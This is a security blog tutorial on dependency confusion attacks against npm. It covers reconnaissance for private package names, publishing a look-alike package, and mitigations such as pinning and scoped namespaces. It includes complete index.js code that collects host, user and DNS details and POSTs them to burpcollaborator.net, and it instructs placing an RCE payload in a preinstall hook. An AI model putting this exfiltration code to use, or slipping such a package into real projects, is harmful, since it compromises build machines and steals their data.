dependency-confusion

Dependency Confusion Attack

What is a Dependency Confusion Attack?

Dependency confusion is an attack on the build process of an application. This is due to the improper configuration of private dependency repositories. Versions of local packages can be downloaded from a major public repository thanks to vulnerable configurations (e.g., registry.npmjs.com for NPM). When a private package is only registered in a local repository, a hacker can upload a malicious package with the same name and a higher version number to the main repository. Malicious code will be downloaded and run on a build or developer machine when a victim updates their packages.

What is npm?

npm is an online repository for the publishing of open-source Node.js projects. It is a command-line utility for interacting with said repository that aids in package installation, version management, and dependency management.

The workflow of a Dependency Confusion attack is similar to the following:

  • To discover private package names used by the target company.
  • After finding the private package, build a malicious version of that package.
  • The malicious package is pushed to a public code repository.
  • Next time a package installer requests the dependency packages from the repository, it downloads the malicious code file from the public library instead of the internal registry.

Searching for Private Packages

JavaScript packages are installed via npm, and their primary repository is npmjs.com. The dependencies are kept in the program’s root directory in a file named package.json.

1. Directory brute force for sensitive information leaks.

ffuf -w SecLists/Fuzzing/boom.txt -u http://target.com/FUZZ
dependency attack

2. Use Google Dorking with the keywords, such as –

intext:"package.json" ,  intext:"packagelock.json"
dependency attack
  1. It is also accessible via the npm package.json disclosure nuclei template

Link to the template: https://github.com/projectdiscovery/nuclei-templates/blob/main/exposures/configs/package-json.yaml

id: package-json
info:
  name: npm package.json disclosure
  author: geeknik,afaq
  severity: info
  description: All npm packages contain a file, usually in the project root, called package.json - this file holds various metadata relevant to the project.
  tags: config,exposure
requests:
  - method: GET
    path:
      - "{{BaseURL}}/package.json"
      - "{{BaseURL}}/package-lock.json"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "name"
          - "version"
        condition: and
      - type: word
        words:
          - "application/json"
        part: header

      - type: status
        status:
          - 200
YAML

Let’s run the following command:

nuclei -t ./nuclei-templates/exposures/configs/package-json.yaml -u http://target.com
Dependency Confusion Attack

Now that we have a list of all the packages used in the application, the next step is to find out which ones are NOT on npm.

We can do this simply by visiting https://www.npmjs.com and searching for the package name.

For example, let’s search for:

ez-web-master
dependency attack

This means that these are private packages.

Creating Malicious Packages

1. Install NPM using the following command:

apt install npm
Dependency Confusion Attack

2. Log in or sign up for npm at https://www.npmjs.com/signup.

3. Open a terminal and login to the npm public registry from the terminal using:

npm login
Dependency Confusion Attack

4. Use the following command to create an npm package.

npm init

Enter the package name as shown below.

5. After successfully creating the package.json file, we need to edit the created file to execute our own scripts and commands.

6. Preinstall is the bash command that executes. Paste your RCE payload here. After editing, the package.json file should look like this:

7. Now create the index.js file as shown below.

const os = require("os");
const dns = require("dns");
const querystring = require("querystring");
const https = require("https");
const packageJSON = require("./package.json");
const package = packageJSON.name;
const trackingData = JSON.stringify({
    p: package,
    c: __dirname,
    hd: os.homedir(),
    hn: os.hostname(),
    un: os.userInfo().username,
    dns: dns.getServers(),
    r: packageJSON ? packageJSON.___resolved : undefined,
    v: packageJSON.version,
    pjson: packageJSON,
});
var postData = querystring.stringify({

    msg: trackingData,
});
var options = {
    hostname: "burpcollaborator.net",
    port: 443,
    path: "/",
    method: "POST",
    headers: {
        "Content-Type": "application/x-www-form-urlencoded",
        "Content-Length": postData.length,
    },
};
var req = https.request(options, (res) => {
    res.on("data", (d) => {

        process.stdout.write(d);
    });
});
req.on("error", (e) => {
    // console.error(e);
});
req.write(postData);
req.end();
JavaScript

8. Now there will be two files created package.json , index.js.

Pushing the Package into Public Registry

To push the package, run the following command:

npm publish

Now, whenever the backend code runs ”npm install,” it will install our package.json file, preinstall scripts will execute the index.js file and get the hostname, directory, IP address, username

Impact:

If an attacker claimed these packages, it would lead to the execution of arbitrary code on the affected server and also allow the attacker to add backdoors to the affected projects during the build process. 

Mitigating the Dependency Confusion Attack

The key to enhancing cybersecurity in general and software supply chain security, particularly, is preventing dependency confusion vulnerabilities. Since it impacts every programming language’s package management, including JavaScript’s npm, Python’s pip, Ruby’s rubygems, and Java’s maven or gradle, no solution will eliminate all possible replacement concerns. Instead, some best practices may be used to help control the risks, such as:

1. Client-side authentication 

Package installers should support client-side validation, such as a hash check mode that evaluates all downloaded packages against a client-side stored hash. Some package repositories also include plugins that verify the PGP signatures of installed components. Such integrity verification helps strengthen the security posture while preventing successful exploits requiring control over the storage server and client computers.

2. Pin version  

Pinning dependencies explicitly declares the package version that the application will use. Some package managers allow developers to pin their applications to different versions instead of just one. Freezing the version of dependencies allows for iterative installations and finer-grained control over dependencies by ensuring that all deployments use the same Git repository (or other version control systems). 

3. Namespaces and scopes of dependencies

Most online repositories use scopes or namespaces to allow isolation and control of resources within an organization’s technology framework. In a typical scenario, the organization owns the domain or namespace, while the repository implements a registration and verification process to validate uploaded files. To ensure that all components are downloaded from trusted repositories, it is recommended to enforce a policy that requires developers to reference only defined namespaces or scope names when loading packages.

Facebook
X
LinkedIn